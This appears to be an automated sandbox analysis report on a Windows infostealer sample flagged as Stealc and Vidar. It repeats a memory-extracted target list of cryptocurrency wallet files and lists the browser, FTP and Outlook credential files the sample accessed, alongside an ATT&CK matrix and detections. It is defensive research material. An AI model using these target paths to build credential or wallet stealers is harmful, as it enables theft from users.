Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 6616, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000006.00000002.2195683776.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6616, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 6616, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CC00C40 sqlite3_bind_zeroblob,	6_2_6CC00C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CC00D60 sqlite3_bind_parameter_name,	6_2_6CC00D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB28EA0 sqlite3_clear_bindings,	6_2_6CB28EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CC00B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	6_2_6CC00B40

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	511 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	244 System Information Discovery	Distributed Component Object Model	1 Email Collection	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	231 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	18%	ReversingLabs
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\l2[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\CAKKJKKECF.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\CAKKJKKECF.exe	74%	ReversingLabs	Win32.Ransomware.RedLine
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\l2[1].exe	74%	ReversingLabs	Win32.Ransomware.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	74%	ReversingLabs	Win32.Ransomware.RedLine

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
